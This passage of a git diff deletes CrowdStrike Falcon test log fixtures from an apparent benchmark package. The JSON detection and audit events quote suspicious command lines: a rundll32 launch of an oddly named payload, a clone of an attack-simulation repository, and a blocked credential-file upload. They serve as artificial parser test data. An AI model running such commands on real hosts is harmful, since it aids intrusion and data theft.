-{"metadata":{"customerIDString":"abcabcabc22222","offset":8695332,"eventType":"DetectionSummaryEvent","eventCreationTime":1698932615000,"version":"1.0"},"event":{"ProcessStartTime":1698932614,"ProcessEndTime":1698932614,"ProcessId":54665651,"ParentProcessId":540396081,"ComputerName":"INNOIDL0032","UserName":"vishnu.sharma","DetectName":"AttackerMethodology","DetectDescription":"Rundll32launchedafilewithanunusualname.Somemalwareabusesrundll32tolaunchmaliciouspayloads.Investigatethecommandlinearguments,astheylikelyreferencethemaliciouspayload.","Severity":4,"SeverityName":"High","FileName":"rundll32.exe","FilePath":"\\Device\\HarddiskVolume4\\Windows\\System32","CommandLine":"\"C:\\Windows\\System32\\rundll32.exe\"\\lwbuimisawnmsfdjmazvobzb.brl,kokknnjfybyqjrrh","SHA256String":"d64d27be4c907b0a2a0c32e1b1a4a44a1333a936fe63127d69df41c859da8c9e","MD5String":"a52bfa4a96f97c368312028dbd7c8461","SHA1String":"0000000000000000000000000000000000000000","MachineDomain":"AP","FalconHostLink":"https://falcon.crowdstrike.com/activity/detections/detail/6902738b2a374a718cd9a45085baaf50/2246270721205?_cid=gffffffffy3zjobdz7ewb4xjqyjsy5a","SensorId":"69027ffffffffffffaaf50","IOCType":"hash_sha256","IOCValue":"d64d27be4c907b0a2a0c32e1b1a4a44a1333a936fe63127d69df41c859da8c9e","DetectId":"ldt:690ddddddd0721205","LocalIP":"81.2.69.144","MACAddress":"02-50-41-00-00-01","Tactic":"DefenseEvasion","Technique":"Rundll32","Objective":"KeepAccess","PatternDispositionDescription":"Prevention,processwasblockedfromexecution.","PatternDispositionValue":2048,"PatternDispositionFlags":{"Indicator":false,"Detect":false,"InddetMask":false,"SensorOnly":false,"Rooting":false,"KillProcess":false,"KillSubProcess":false,"QuarantineMachine":false,"QuarantineFile":false,"PolicyDisabled":false,"KillParent":false,"OperationBlocked":false,"ProcessBlocked":true,"RegistryOperationBlocked":false,"CriticalProcessDisabled":false,"BootupSafeguardEnabled":false,"FsOperationBlocked":false,"HandleOperationDowngraded":false,"KillActionFailed":false,"BlockingUnsupportedOrDisabled":false,"SuspendProcess":false,"SuspendParent":false},"ParentImageFileName":"\\Device\\HarddiskVolume4\\Windows\\explorer.exe","ParentCommandLine":"C:\\Windows\\Explorer.EXE","GrandparentImageFileName":"\\Device\\HarddiskVolume4\\Windows\\System32\\userinit.exe","GrandparentCommandLine":"C:\\Windows\\system32\\userinit.exe","HostGroups":"e2091491a28248eaae3ede9f217e03fc,e837d750b8ba400c953380da346e2b04,186c20383a98495cb0e0a7d5540f3aff,24d1f760fcdc46d992bb8f41d7dd897b,2b7bd0fede874baaa1afdea20f255632,a293aded9c4548469d0e853b7267cce5,adab9db4541040729e01d16211189a27,b75b27ce17244922bd0a862a712ea812","Tags":"SensorGroupingTags/USB_Storage_Exception","AssociatedFile":"\\Device\\HarddiskVolume4\\Windows\\System32\\rundll32.exe","PatternId":10186}} -{"metadata":{"customerIDString":"abcabcabc22222","offset":8698239,"eventType":"IncidentSummaryEvent","eventCreationTime":1698971797000,"version":"1.0"},"event":{"IncidentStartTime":1698971797,"IncidentEndTime":1698971797,"FalconHostLink":"https://falcon.crowdstrike.com/crowdscore/incidents/details/inc:654a735066d640939aaaaaaaaaaaaaaaaaaaaaaaf47349032acd86820223e?_cid=ggggffffhhhhjjjjj","State":"open","FineScore":6.1,"LateralMovement":0,"IncidentType":1,"IncidentID":"inc:654a735066d640939aaaaaaaaaaaaaaaaaaaaaaaf47349032acd86820223e","HostID":"4345454534534545"}} diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/benchmark/pipeline/test-falcon-audit-events.log b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/benchmark/pipeline/test-falcon-audit-events.log deleted file mode 100644 index 608b0a16d2..0000000000 --- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/benchmark/pipeline/test-falcon-audit-events.log +++ /dev/null @@ -1,13 +0,0 @@ -{"metadata":{"customerIDString":"8f69fe9e-b995-4204-95ad-44f9bcf75b6b","offset":1045,"eventType":"RemoteResponseSessionStartEvent","eventCreationTime":1582830734000,"version":"1.0"},"event":{"SessionId":"6020260b-0398-4d41-999d-5531b55522de","HostnameField":"hostnameofmachine","UserName":"first.last@company.com","StartTimestamp":1582830734}} -{"metadata":{"customerIDString":"8f69fe9e-b995-4204-95ad-44f9bcf75b6b","offset":1046,"eventType":"RemoteResponseSessionEndEvent","eventCreationTime":1582830772000,"version":"1.0"},"event":{"SessionId":"6020260b-0398-4d41-999d-5531b55522de","HostnameField":"hostnameofmachine","UserName":"first.last@company.com","EndTimestamp":1582830772}} -{"metadata":{"customerIDString":"8f69fe9e-b995-4204-95ad-44f9bcf75b6b","offset":0,"eventType":"AuthActivityAuditEvent","eventCreationTime":1581542950710,"version":"1.0"},"event":{"UserId":"api-client-id:1234567890abcdefghijklmnopqrstuvwxyz","UserIp":"10.10.0.8","OperationName":"streamStarted","ServiceName":"Crowdstrike Streaming API","Success":true,"UTCTimestamp":1581542950,"AuditKeyValues":[{"Key":"APIClientID","ValueString":"1234567890abcdefghijklmnopqr"},{"Key":"partition","ValueString":"0"},{"Key":"offset","ValueString":"-1"},{"Key":"appId","ValueString":"siem-connector-v2.0.0"},{"Key":"eventType","ValueString":"[UserActivityAuditEvent HashSpreadingEvent RemoteResponseSessionStartEvent RemoteResponseSessionEndEvent DetectionSummaryEvent AuthActivityAuditEvent]"}]}} -{"metadata":{"customerIDString":"8f69fe9e-b995-4204-95ad-44f9bcf75b6b","offset":1,"eventType":"AuthActivityAuditEvent","eventCreationTime":1581543577147,"version":"1.0"},"event":{"UserId":"alice@company.com","UserIp":"192.168.6.8","OperationName":"twoFactorAuthenticate","ServiceName":"CrowdStrike Authentication","Success":true,"UTCTimestamp":1581543577147}} -{"metadata":{"customerIDString":"8f69fe9e-b995-4204-95ad-44f9bcf75b6b","offset":2,"eventType":"AuthActivityAuditEvent","eventCreationTime":1581545677554,"version":"1.0"},"event":{"UserId":"bob@company.com","UserIp":"192.168.6.3","OperationName":"twoFactorAuthenticate","ServiceName":"CrowdStrike Authentication","Success":true,"UTCTimestamp":1581545677554}} -{"metadata":{"customerIDString":"8f69fe9e-b995-4204-95ad-44f9bcf75b6b","offset":3,"eventType":"UserActivityAuditEvent","eventCreationTime":1581546248000,"version":"1.0"},"event":{"UserId":"chris@company.com","UserIp":"192.168.6.13","OperationName":"update_group","ServiceName":"groups","AuditKeyValues":[{"Key":"group_id","ValueString":"3c80ce30b9654cb4bd15beec6a517e65"},{"Key":"action_name","ValueString":"add_group_member"}],"UTCTimestamp":1581546248}} -{"metadata":{"customerIDString":"8f69fe9e-b995-4204-95ad-44f9bcf75b6b","offset":4,"eventType":"AuthActivityAuditEvent","eventCreationTime":1581601312140,"version":"1.0"},"event":{"UserId":"alice@company.com","UserIp":"192.168.6.8","OperationName":"requestResetPassword","ServiceName":"CrowdStrike Authentication","Success":true,"UTCTimestamp":1581601312140,"AuditKeyValues":[{"Key":"target_name","ValueString":"alice@company.com"}]}} -{"metadata":{"customerIDString":"8f69fe9e-b995-4204-95ad-44f9bcf75b6b","offset":5,"eventType":"AuthActivityAuditEvent","eventCreationTime":1581601341730,"version":"1.0"},"event":{"UserId":"alice@company.com","UserIp":"192.168.6.8","OperationName":"twoFactorAuthenticate","ServiceName":"CrowdStrike Authentication","Success":true,"UTCTimestamp":1581601341730}} -{"metadata":{"customerIDString":"8f69fe9e-b995-4204-95ad-44f9bcf75b6b","offset":6,"eventType":"AuthActivityAuditEvent","eventCreationTime":1581601520236,"version":"1.0"},"event":{"UserId":"alice@company.com","UserIp":"192.168.6.8","OperationName":"changePassword","ServiceName":"CrowdStrike Authentication","Success":true,"UTCTimestamp":1581601520236,"AuditKeyValues":[{"Key":"target_name","ValueString":"first.last@company.com"}]}} -{"metadata":{"customerIDString":"8f69fe9e-b995-4204-95ad-44f9bcf75b6b","offset":7,"eventType":"AuthActivityAuditEvent","eventCreationTime":1581601572362,"version":"1.0"},"event":{"UserId":"alice@company.com","UserIp":"192.168.6.8","OperationName":"userAuthenticate","ServiceName":"CrowdStrike Authentication","Success":true,"UTCTimestamp":1581601572362}} -{"metadata":{"customerIDString":"8f69fe9e-b995-4204-95ad-44f9bcf75b6b","offset":8,"eventType":"AuthActivityAuditEvent","eventCreationTime":1581601814754,"version":"1.0"},"event":{"UserId":"alice@company.com","UserIp":"192.168.6.8","OperationName":"twoFactorAuthenticate","ServiceName":"CrowdStrike Authentication","Success":true,"UTCTimestamp":1581601814754}} -{"metadata":{"customerIDString":"8f69fe9e-b995-4204-95ad-44f9bcf75b6b","offset":9,"eventType":"AuthActivityAuditEvent","eventCreationTime":1581601820289,"version":"1.0"},"event":{"UserId":"alice@company.com","UserIp":"192.168.6.8","OperationName":"selfAcceptEula","ServiceName":"CrowdStrike Authentication","Success":true,"UTCTimestamp":1581601820289}} -{"metadata":{"customerIDString":"8f69fe9e-b995-4204-95ad-44f9bcf75b6b","offset":10,"eventType":"UserActivityAuditEvent","eventCreationTime":1581603262000,"version":"1.0"},"event":{"UserId":"alice@company.com","UserIp":"192.168.6.8","OperationName":"detection_update","ServiceName":"detections","AuditKeyValues":[{"Key":"detection_id","ValueString":"ldt:5a6fd0b7347440cd74cb84855a8aee18:17180539745"},{"Key":"new_state","ValueString":"in_progress"},{"Key":"assigned_to","ValueString":"First Last"},{"Key":"assigned_to_uid","ValueString":"first.last@company.com"}],"UTCTimestamp":1581603262}} diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/benchmark/pipeline/test-falcon-auth-activity.log b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/benchmark/pipeline/test-falcon-auth-activity.log deleted file mode 100644 index c9e64ad5be..0000000000 --- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/benchmark/pipeline/test-falcon-auth-activity.log +++ /dev/null @@ -1,2 +0,0 @@ -{"metadata":{"customerIDString":"123123abcd","offset":6,"eventType":"AuthActivityAuditEvent","eventCreationTime":1686845212400,"version":"1.0"},"event":{"UserId":"API:USERID","UserIp":"175.16.199.1","OperationName":"streamStopped","ServiceName":"Crowdstrike Streaming API","Success":true,"UTCTimestamp":1686839378,"AuditKeyValues":[{"Key":"eventType","ValueString":"All event type(s)"},{"Key":"APIClientID","ValueString":"APIID"},{"Key":"partition","ValueString":"0"},{"Key":"offset","ValueString":"2"},{"Key":"appId","ValueString":"APPIDTEST"}],"Attributes":{"APIClientID":"APPCLIENTIDTEST","appId":"APPIDTEST","eventType":"All event type(s)","offset":"2","partition":"0"}}} -{"metadata":{"customerIDString":"123123abcd","offset":8,"eventType":"AuthActivityAuditEvent","eventCreationTime":1686849556137,"version":"1.0"},"event":{"UserId":"API:USERID","UserIp":"175.16.199.1","OperationName":"streamStarted","ServiceName":"Crowdstrike Streaming API","Success":true,"UTCTimestamp":1686849556,"AuditKeyValues":[{"Key":"APIClientID","ValueString":"APICLIENTID"},{"Key":"partition","ValueString":"0"},{"Key":"offset","ValueString":"8"},{"Key":"appId","ValueString":"APPIDTEST"},{"Key":"eventType","ValueString":"All event type(s)"}],"Attributes":{"APIClientID":"APICLIENTID","appId":"APPIDTEST","eventType":"All event type(s)","offset":"8","partition":"0"}}} diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/benchmark/pipeline/test-falcon-cspmioa-streaming.log b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/benchmark/pipeline/test-falcon-cspmioa-streaming.log deleted file mode 100644 index 71efbee9aa..0000000000 --- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/benchmark/pipeline/test-falcon-cspmioa-streaming.log +++ /dev/null @@ -1 +0,0 @@ -{"metadata":{"customerIDString":"XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX","offset":54712858,"eventType":"CSPMIOAStreamingEvent","eventCreationTime":1663011160000,"version":"1.0"},"event":{"AccountId":"XXXXXXXXXXXX","PolicyId":249,"PolicyStatement":"EC2 instance manually deleted by IAM user","CloudProvider":"aws","CloudService":"EC2","Severity":1,"SeverityName":"High","EventAction":"TerminateInstances","EventSource":"aws.cloudtrail","EventCreatedTimestamp":1663011160,"UserId":"AIDAXRCSSEFWEAH3BLR2Z","UserName":"cs_internal_service_acct","UserSourceIp":"81.2.69.144","Tactic":"Impact","Technique":"Data Destruction"}} diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/benchmark/pipeline/test-falcon-cspmsearch-streaming.log b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/benchmark/pipeline/test-falcon-cspmsearch-streaming.log deleted file mode 100644 index 723fc4c067..0000000000 --- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/benchmark/pipeline/test-falcon-cspmsearch-streaming.log +++ /dev/null @@ -1 +0,0 @@ -{"metadata":{"customerIDString":"XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX","offset":54712611,"eventType":"CSPMSearchStreamingEvent","eventCreationTime":1663009688832,"version":"1.0"},"event":{"AccountId":"XXXXXXXXXXXX","Region":"us-west-2","ResourceId":"i-0108fce80eXXXXXXX","ResourceIdType":"Instance Id","ResourceName":"","ResourceCreateTime":0,"PolicyStatement":"EC2 NACL configured for global ingress","PolicyId":26,"Severity":1,"SeverityName":"High","CloudPlatform":"AWS","CloudService":"EC2","Disposition":"Failed","ResourceUrl":"https://us-west-2.console.aws.amazon.com/ec2/v2/home?region=us-west-2#InstanceDetails:instanceId=i-0108fce80eXXXXXXX","Finding":"Instance ID:i-0108fce80e5ab5129|VPC ID:vpc-0e886040c27d9f526|Network ACL ID:acl-005e6bb98e75ac17e|Rule Number:100|CIDR Block:0.0.0.0/0|Protocol:All","ResourceAttributes":"{\"ACL ID\":\"acl - 005e6 bb98e75ac17e\",\"VPC ID\":\"vpc - 0e886040 c27d9f526\",\"Platform\":\"Linux\",\"Instance ID\":\"i - 0108 fce80eXXXXXXX\",\"Launch Time\":\"2022 - 09 - 12 17:11:06 + 00\",\"Instance State\":\"running\"}","Tags":[{"Key":"cstag-business","ValueString":"Sales"}, {"Key":"cstag-accounting","ValueString":"dev"}, {"Key":"cstag-department","ValueString":"Sales - 310000"}, {"Key":"Slackbot Env UUID","ValueString":"C68EC25E-32BD-11ED-AE4B-0EBCA3237C75"}, {"Key":"Name","ValueString":"CS-SE-Demo-KALI-ROBERT.WILSON"}, {"Key":"Slack_User","ValueString":"bob.smith"}, {"Key":"cstag-owner","ValueString":"jane.doe"}],"ReportUrl":"https://falcon.crowdstrike.com/cloud-security/cspm/assessment-drilldown?event-type=cspm_policy_26\u0026policy_id=26\u0026scan_id=1a8adc1c36aa7d83e90e5c06\u0026service=EC2","Timestamp":1663009688832}} diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/benchmark/pipeline/test-falcon-data-protection-detection-summary.log b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/benchmark/pipeline/test-falcon-data-protection-detection-summary.log deleted file mode 100644 index 7471623ccb..0000000000 --- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/benchmark/pipeline/test-falcon-data-protection-detection-summary.log +++ /dev/null @@ -1,2 +0,0 @@ -{"metadata":{"customerIDString":"2cc98db1a4xxxxxxxxxxc94d43bfab70","offset":689071490,"eventType":"DataProtectionDetectionSummaryEvent","eventCreationTime":1761895380000,"version":"1.0"},"event":{"AgentId":"5d77282ab4fxxxxxxxxxx65784cfa8f0","CompositeId":"2cc98db1a4xxxxxxxxxxc94d43bfab70:data-protection:5d77282ab4fxxxxxxxxxx65784cfa8f0:180d01b9b65811f0a9f0c0892b3c995e","Name":"Test attempted to be uploaded to Google Gmail","Description":"Bob attempted to upload sensitive_123.txt to Google Gmail","Tactic":"Exfiltration","TacticId":"TA0010","Technique":"Exfiltration Over Web Service","TechniqueId":"T1567","Severity":90,"SeverityName":"Critical","FalconHostLink":"https://falcon.crowdstrike.com/data-protection/detections/2cc98db1a4xxxxxxxxxxc94d43bfab70:data-protection:5d77282ab4fxxxxxxxxxx65784cfa8f0:180d01b9b65811f0a9f0c0892b3c995e?_cid=g04000alcexxxxxxxxxxnfyokz7bajkq","Destination":{"Channel":"web"},"UserName":"Bob","UserSid":"S-1-5-21-2123450692-2512345670-1234574870-1234","Hostname":"DESKTOP-OM905R2","PatternId":80005,"DataVolume":39,"DetectionType":"rule-based","Platform":"Windows","MitreAttack":[{"Tactic":"Exfiltration","TacticID":"TA0010","Technique":"Exfiltration Over Web Service","TechniqueID":"T1567"}],"EgressSessionId":"abc","SessionStartTimestamp":1761915027,"SessionEndTimestamp":1761915027,"UserMapped":true,"FilesEgressedCount":12}} -{"metadata":{"customerIDString":"2cc98db1a4xxxxxxxxxxc94d43bfab70","offset":689071490,"eventType":"DataProtectionDetectionSummaryEvent","eventCreationTime":1761895380000,"version":"1.0"},"event":{"AgentId":"5d77282ab4fxxxxxxxxxx65784cfa8f0","CompositeId":"2cc98db1a4xxxxxxxxxxc94d43bfab70:data-protection:5d77282ab4fxxxxxxxxxx65784cfa8f0:180d01b9b65811f0a9f0c0892b3c995e","Name":"Test attempted to be uploaded to Google Gmail","Description":"Bob attempted to upload sensitive_123.txt to Google Gmail","Tactic":"Exfiltration","TacticId":"TA0010","Technique":"Exfiltration Over Web Service","TechniqueId":"T1567","Severity":90,"SeverityName":"Critical","FalconHostLink":"https://falcon.crowdstrike.com/data-protection/detections/2cc98db1a4xxxxxxxxxxc94d43bfab70:data-protection:5d77282ab4fxxxxxxxxxx65784cfa8f0:180d01b9b65811f0a9f0c0892b3c995e?_cid=g04000alcexxxxxxxxxxnfyokz7bajkq","Destination":{"Channel":"web"},"UserName":"Bob","UserSid":"S-1-5-21-2123450692-2512345670-1234574870-1234","Hostname":"DESKTOP-OM905R2","PatternId":80005,"DataVolume":39,"DetectionType":"rule-based","Platform":"Windows","MitreAttack":[{"Tactic":"Exfiltration","TacticID":"TA0010","Technique":"Exfiltration Over Web Service","TechniqueID":"T1567"}],"EgressEventId":"180d01b9b65811f0a9f0c0892b3c995e","Policy":{"ID":"a6e6792845654b69a8a89e793421b77a","Name":"Data Protection Policy"},"MatchedClassification":{"ID":"8318b19065af48fa839f9259022e5e0a","Name":"Test"},"RelatedClassifications":[{"ID":"8318b19065af48fa839f9259022e5e0a","Name":"Test"}],"UserNotified":true,"ResponseAction":"blocked","RuleId":"7d81198e7da846b2a664afccc7f5d9e4","IsClipboard":false,"ContentPatterns":[{"ID":"4392b1416c974a488c31fbc4c97e89f6","Name":"Credentials","ConfidenceLevel":3,"MatchCount":1}],"ContentSha":"21cdfbea0d48077b93b4c4cccb23b7aadfea6f4e7fbb1237fdfd0caebf6efd08","Filename":"sensitive_123.txt","FileType":{"Type":{"ID":"48a7eca83afa42a78cf12b8f2f877eec","Name":"Plain Text","Description":"Plain Text (txt) File","CategoryID":"4689d0386bdd4e2e9423a0fc19dcaccb","CategoryName":"Document"}},"EventTimestamp":1761915027}} diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/benchmark/pipeline/test-falcon-detection-summary.log b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/benchmark/pipeline/test-falcon-detection-summary.log deleted file mode 100644 index 312136faa4..0000000000 --- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/benchmark/pipeline/test-falcon-detection-summary.log +++ /dev/null @@ -1 +0,0 @@ -{"metadata":{"customerIDString":"123123abcd","offset":1,"eventType":"DetectionSummaryEvent","eventCreationTime":1686845212400,"version":"1.0"},"event":{"ProcessStartTime":1686845212400,"ProcessEndTime":0,"ProcessId":123123,"ParentProcessId":321321,"ComputerName":"ELASTICHOST","UserName":"ELASTICUSER","DetectName":"NGAV","DetectDescription":"This file is classified as Adware/PUP based on its SHA256 hash.","Severity":2,"SeverityName":"Low","FileName":"TESTFILE.exe","FilePath":"\\Device\\HarddiskVolume3\\Users\\ELASTICUSER\\Software\\TESTSOFTWARE","CommandLine":"\"C:\\Users\\TESTUSER\\SOFTWARE\\TESTSOFTWARE\\FILE.exe\" -Embedding","SHA256String":"0b2cde5b355bda69aeb15159fa98b5554053f0936259a53c6dfb0934389238a2","MD5String":"49f30e09200e7b59edc5ef32fbd0442c","SHA1String":"7e54a24d4df5b7fe4a75d7ce1c027705c368666b","MachineDomain":"INTERNAL","NetworkAccesses":[{"AccessType":0,"AccessTimestamp":1686845157,"Protocol":"TCP","LocalAddress":"10.0.0.1","LocalPort":53517,"RemoteAddress":"67.43.156.1","RemotePort":443,"ConnectionDirection":0,"IsIPV6":false},{"AccessType":0,"AccessTimestamp":1686845158,"Protocol":"TCP","LocalAddress":"10.0.0.2","LocalPort":53518,"RemoteAddress":"67.43.156.1","RemotePort":80,"ConnectionDirection":0,"IsIPV6":false}],"FalconHostLink":"https://falcon.crowdstrike.com/activity/detections/detail/REFERENCE?_cid=CID","SensorId":"sensorid123","IOCType":"hash_sha256","IOCValue":"0b2cde5b355bda69aeb15159fa98b5554053f0936259a53c6dfb0934389238a2","DetectId":"detect::id::test","LocalIP":"89.160.20.112","MACAddress":"1c-2d-b3-4a-56-7e","Tactic":"Malware","Technique":"PUP","Objective":"Falcon Detection Method","PatternDispositionDescription":"Detection, process would have been blocked if related prevention policy setting was enabled.","PatternDispositionValue":2304,"PatternDispositionFlags":{"Indicator":false,"Detect":false,"InddetMask":false,"SensorOnly":false,"Rooting":false,"KillProcess":false,"KillSubProcess":false,"QuarantineMachine":false,"QuarantineFile":false,"PolicyDisabled":true,"KillParent":false,"OperationBlocked":false,"ProcessBlocked":true,"RegistryOperationBlocked":false,"CriticalProcessDisabled":false,"BootupSafeguardEnabled":false,"FsOperationBlocked":false,"HandleOperationDowngraded":false,"KillActionFailed":false,"BlockingUnsupportedOrDisabled":false,"SuspendProcess":false,"SuspendParent":false},"ParentImageFileName":"","ParentCommandLine":"","GrandparentImageFileName":"","GrandparentCommandLine":"","HostGroups":"hostgroupsID","AssociatedFile":"\\Device\\HarddiskVolume3\\TESTUSER\\TESTELASTICUSER\\SOFTWARE\\TESTSOFTWARE\\FILE.exe","PatternId":5728}} diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/benchmark/pipeline/test-falcon-epp-detection-summary.log b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/benchmark/pipeline/test-falcon-epp-detection-summary.log deleted file mode 100644 index b9deb927b5..0000000000 --- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/benchmark/pipeline/test-falcon-epp-detection-summary.log +++ /dev/null @@ -1,15 +0,0 @@ -{"metadata":{"customerIDString":"123123abcd","offset":1,"eventType":"EppDetectionSummaryEvent","eventCreationTime":1686845212400,"version":"1.0"},"event":{"ProcessStartTime":1718032715,"ProcessEndTime":1718032715,"ProcessId":43009301133,"ParentProcessId":25841449898,"Hostname":"DESKTOP1111","UserName":"USER11111","Name":"NGAV","Description":"This file is classified as Adware/PUP based on its SHA256 hash.","Severity":30,"SeverityName":"Low","FileName":"rfusclient.exe","FilePath":"\\Device\\HarddiskVolume2\\Program Files (x86)\\Remote Utilities - Host\\rfusclient.exe","CommandLine":"\"C:\\Program Files (x86)\\Remote Utilities - Host\\rfusclient.exe\" /rsession","SHA256String":"faf0c5e4ef7dbcfd863377c55a4d1d87a3f6a58c13a8a9882e11012066f31976","MD5String":"848a53dc549be0386e5da0f49700c389","SHA1String":"0000000000000000000000000000000000000000","LogonDomain":"OVAC","FalconHostLink":"https://falcon.eu-1.crowdstrike.com/activity-v2/detections/44be50f58ccfcfcfcfcfcfcfcffc:ind:c8d1292a8a904216aa25ab728f4b45fd:11111111111-2222-3333333?_cid=99999999999999999999999999999999","AgentId":"c8d1292a8a904216aa25ab728f4b45fd","IOCType":"hash_sha256","IOCValue":"faf0c5e4ef7dbcfd863377c55a4d1d87a3f6a58c13a8a9882e11012066f31976","CompositeId":"44be50f58ccfcfcfcfcfcfcfcffc:ind:c8d1292a8a904216aa25ab728f4b45fd:11111111111-2222-3333333","LocalIP":"81.2.69.144","MACAddress":"01-23-45-67-89-ab","Tactic":"Malware","Technique":"PUP","Objective":"Falcon Detection Method","PatternDispositionDescription":"Prevention, process was blocked from execution.","PatternDispositionValue":2048,"PatternDispositionFlags":{"Indicator":false,"Detect":false,"InddetMask":false,"SensorOnly":false,"Rooting":false,"KillProcess":false,"KillSubProcess":false,"QuarantineMachine":false,"QuarantineFile":false,"PolicyDisabled":false,"KillParent":false,"OperationBlocked":false,"ProcessBlocked":true,"RegistryOperationBlocked":false,"CriticalProcessDisabled":false,"BootupSafeguardEnabled":false,"FsOperationBlocked":false,"HandleOperationDowngraded":false,"KillActionFailed":false,"BlockingUnsupportedOrDisabled":false,"SuspendProcess":false,"SuspendParent":false},"ParentImageFileName":"rutserv.exe","ParentCommandLine":"\"C:\\Program Files (x86)\\Remote Utilities - Host\\rutserv.exe\"","GrandParentImageFileName":"services.exe","GrandParentCommandLine":"C:\\Windows\\system32\\services.exe","HostGroups":"ba7f8041fd6c47dcae4cff3194861088,c8d1292a8a904216aa25ab728f4b45fd","AssociatedFile":"\\Device\\HarddiskVolume2\\Program Files (x86)\\Remote Utilities - Host\\rfusclient.exe","PatternId":5728,"SourceVendors":"CrowdStrike","SourceProducts":"Falcon Insight","DataDomains":"Endpoint","AggregateId":"aggind:c8d1292a8a904216aa25ab728f4b45fd:21483417902","Type":"ldt","ParentImageFilePath":"\\Device\\HarddiskVolume2\\Program Files (x86)\\Remote Utilities - Host\\rutserv.exe","GrandParentImageFilePath":"\\Device\\HarddiskVolume2\\Windows\\System32\\services.exe","LocalIPv6":""}} -{"metadata":{"customerIDString":"123123abcd","offset":1,"eventType":"EppDetectionSummaryEvent","eventCreationTime":1686845212400,"version":"1.0"},"event":{"ProcessStartTime":1719309930,"ProcessEndTime":0,"ProcessId":1719309930613520072,"ParentProcessId":1719308637781199091,"Hostname":"linux-vm","UserName":"azureuser","Name":"Known Malware","Description":"A suspicious process related to a likely malicious file was launched. Review any binaries involved as they may be related to malware.","Severity":70,"SeverityName":"High","FileName":"git","FilePath":"/usr/bin/git","CommandLine":"git clone https://github.com/redcanaryco/atomic-red-team.git","SHA256String":"29aa689f38158d2e8941fa54e436f0260890af31cecad1e8799e5c2df7bc1ecc","MD5String":"675853ca01ec441df7a015b91a7e1272","SHA1String":"0000000000000000000000000000000000000000","LogonDomain":"","FilesWritten":[{"Timestamp":1719309966,"FileName":"test_upx_header_changed","FilePath":"/home/azureuser/atomic-red-team/atomics/T1027.002/bin/linux/"},{"Timestamp":1719309966,"FileName":"test_upx","FilePath":"/home/azureuser/atomic-red-team/atomics/T1027.002/bin/linux/"},{"Timestamp":1719309966,"FileName":"CreateProcessWithPipe.exe","FilePath":"/home/azureuser/atomic-red-team/atomics/T1055.012/bin/x64/"},{"Timestamp":1719309966,"FileName":"T1055.exe","FilePath":"/home/azureuser/atomic-red-team/atomics/T1055.004/bin/"},{"Timestamp":1719309966,"FileName":"msys-2.0.dll","FilePath":"/home/azureuser/atomic-red-team/atomics/T1055/bin/x64/vuln_dll/"},{"Timestamp":1719309966,"FileName":"calc.dll","FilePath":"/home/azureuser/atomic-red-team/atomics/T1047/bin/"},{"Timestamp":1719309966,"FileName":"T1055.011_x64.exe","FilePath":"/home/azureuser/atomic-red-team/atomics/T1055.011/bin/"},{"Timestamp":1719309966,"FileName":"EtwpCreateEtwThread.exe","FilePath":"/home/azureuser/atomic-red-team/atomics/T1055/bin/x64/"},{"Timestamp":1719309966,"FileName":"CreateProcess.exe","FilePath":"/home/azureuser/atomic-red-team/atomics/T1055.012/bin/x64/"},{"Timestamp":1719309966,"FileName":"T1036.003.exe","FilePath":"/home/azureuser/atomic-red-team/atomics/T1036.003/bin/"}],"FalconHostLink":"https://falcon.eu-1.crowdstrike.com/activity-v2/detections/44be50f58ccfcfcfcfcfcfcfcffc:ind:c8d1292a8a904216aa25ab728f4b45fd:11111111111-2222-3333333?_cid=99999999999999999999999999999999","AgentId":"c8d1292a8a904216aa25ab728f4b45fd","CompositeId":"44be50f58ccfcfcfcfcfcfcfcffc:ind:c8d1292a8a904216aa25ab728f4b45fd:11111111111-2222-3333333","LocalIP":"172.17.0.1","MACAddress":"02-42-d8-66-fe-03","Tactic":"Malware","Technique":"Malicious File","Objective":"Falcon Detection Method","PatternDispositionDescription":"Detection, process would have been killed if related prevention policy setting was enabled.","PatternDispositionValue":272,"PatternDispositionFlags":{"Indicator":false,"Detect":false,"InddetMask":false,"SensorOnly":false,"Rooting":false,"KillProcess":true,"KillSubProcess":false,"QuarantineMachine":false,"QuarantineFile":false,"PolicyDisabled":true,"KillParent":false,"OperationBlocked":false,"ProcessBlocked":false,"RegistryOperationBlocked":false,"CriticalProcessDisabled":false,"BootupSafeguardEnabled":false,"FsOperationBlocked":false,"HandleOperationDowngraded":false,"KillActionFailed":false,"BlockingUnsupportedOrDisabled":false,"SuspendProcess":false,"SuspendParent":false},"ParentImageFileName":"bash","ParentCommandLine":"-bash","GrandParentImageFileName":"sshd","GrandParentCommandLine":"/usr/sbin/sshd -D -R","HostGroups":"44be50f58ccfcfcfcfcfcfcfcffc","PatternId":30115,"SourceVendors":"CrowdStrike","SourceProducts":"Falcon 